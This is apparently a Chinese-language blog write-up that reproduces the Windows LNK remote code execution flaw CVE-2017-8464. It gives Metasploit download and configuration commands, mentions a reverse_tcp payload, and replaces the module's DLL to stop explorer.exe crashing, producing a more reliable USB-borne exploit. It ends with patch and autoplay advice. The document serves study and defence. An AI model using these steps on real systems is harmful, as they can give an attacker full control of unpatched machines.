Windows Lnk远程代码执行漏洞(CVE-2017-8464)利用测试
0x00 前言
北京时间6月14日凌晨,微软发布编号为CVE-2017-8464的漏洞公告,官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞,黑客可以通过U盘、网络共享等途径触发漏洞,完全控制用户系统,安全风险高危。
该漏洞的原理同2010年据称美国和以色列入侵并破坏伊朗核设施的震网行动中所使用的震网病毒(Stuxnet)非常相似,所以也被一些人称为“震网三代”。
然而,通过百度搜索关键词“cve-2017-8464复现”找到的国内一些文章,对该漏洞的复现存在误解,错把通过快捷方式执行powershell代码当作了该漏洞的利用方法。
所以,本文将要纠正这个错误。
并且,目前可供测试的msf利用脚本存在一个bug,漏洞触发后进程explorer.exe崩溃,漏洞利用不够完美。
考虑到距补丁公开日期已经超过45天,所以本文将要公开利用脚本中bug的修复方法,实现该漏洞的“完美利用”。
0x01 简介
本文将要介绍以下内容:
- 漏洞简介
- 漏洞测试
- bug修复
- 防御
0x02 漏洞简介
该漏洞是一个微软Windows系统处理LNK文件过程中发生的远程代码执行漏洞。 当存在漏洞的电脑被插上存在病毒木马的U盘时,不需要任何额外操作,漏洞攻击程序就可以借此完全控制用户的电脑系统。 该漏洞也可能籍由用户访问网络共享、从互联网下载、拷贝文件等操作被触发和利用攻击。
也就是说,漏洞可以在以下任一条件下触发:
1、系统开启U盘自动播放功能,插入U盘,漏洞触发 2、通过网络共享访问该文件目录 3、直接访问该文件目录
0x03 漏洞测试
目前公开渠道可供测试利用的脚本有如下两个:
1、msf利用脚本
作者:ykoster
下载地址:https://github.com/rapid7/metasploit-framework/pull/8767
2、python利用脚本
作者:nixawk
下载地址:https://github.com/nixawk/labs/blob/master/CVE-2017-8464/exploit_CVE-2017-8464.py
本文着重测试msf脚本,将exp拷贝至U盘,测试通过U盘触发漏洞的利用方法
实际测试:
测试系统: kali 2.0
1、下载msf脚本
cd /usr/share/metasploit-framework/modules/exploits/windows/fileformat/
wget https://raw.githubusercontent.com/ykoster/metasploit-framework/169e00bf3442447324df064192db62cdc5b5b860/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb
2、生成exp
use exploits/windows/fileformat/cve_2017_8464_lnk_rce
set payload windows/x64/exec
set cmd calc.exe
set EXITFUNC thread
exploit
注:
msf脚本默认对应系统Windows x64,所以payload也选择64位的exec
参数设置如下图
执行后,在/root/.msf4/local/生成24个利用文件,如下图
kali2.0下无法直接访问该文件夹,可通过命令行将/root/.msf4/local/
下的所有文件复制到/root/1
下
命令如下:
cp -r /root/.msf4/local/ /root/1
复制文件,如下图
将以上文件复制到U盘,在另一未打补丁的Win7 x64系统测试
3、测试
成功执行calc.exe,但是进程explorer.exe崩溃
如下图
注:
U盘内的利用脚本可通过格式化U盘删除
接着又分别做了如下测试:
- 测试Win10 x64
- 更换payload: set payload windows/x64/meterpreter/reverse_tcp
依旧是同样的结果
查看github,其他人也遇到了同样的问题,如下图
更多回复见:https://github.com/rapid7/metasploit-framework/pull/8767
4、更多测试
尝试测试32位系统
该脚本支持32位系统,切换命令如下:
set target 1
set payload windows/exec
如下图
但是测试结果不尽人意,依旧失败
0x04 bug修复
省略调试过程,直接给出一种最简单的解决方法:更换dll
msf利用脚本共生成24个文件,分别为1个dll文件和23个lnk文件
如下图
注:
对于23个lnk文件,文件名最后一位代表U盘盘符,如果测试系统U盘为E盘,那么只留下文件名最后一位为”E”的lnk文件就好,其他lnk文件可以删除
bug产生的原因在于dll,将其换成自己的dll就好
32位可供测试的dll下载地址:
https://github.com/3gstudent/test/blob/master/calc.dll
64位可供测试的dll下载地址:
https://github.com/3gstudent/test/blob/master/calc_x64.dll
不会导致进程explorer.exe崩溃,测试如下图
插入U盘自动播放触发漏洞的测试如下图
至此,bug成功修复
测试EXP地址:
https://github.com/3gstudent/CVE-2017-8464-EXP
0x05 防御
1、安装补丁
微软官方补丁下载地址:
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-8464
360漏洞补丁修复工具下载地址:
http://b.360.cn/other/stuxnet3fixtool
2、关闭U盘自动播放功能
0x06 小结
本文对CVE-2017-8464的msf利用脚本进行测试,修复其中的bug,在技术层面上,实现对该漏洞的“完美利用”,请勿用于非法用途,在此再次提醒普通用户勤打补丁的必要。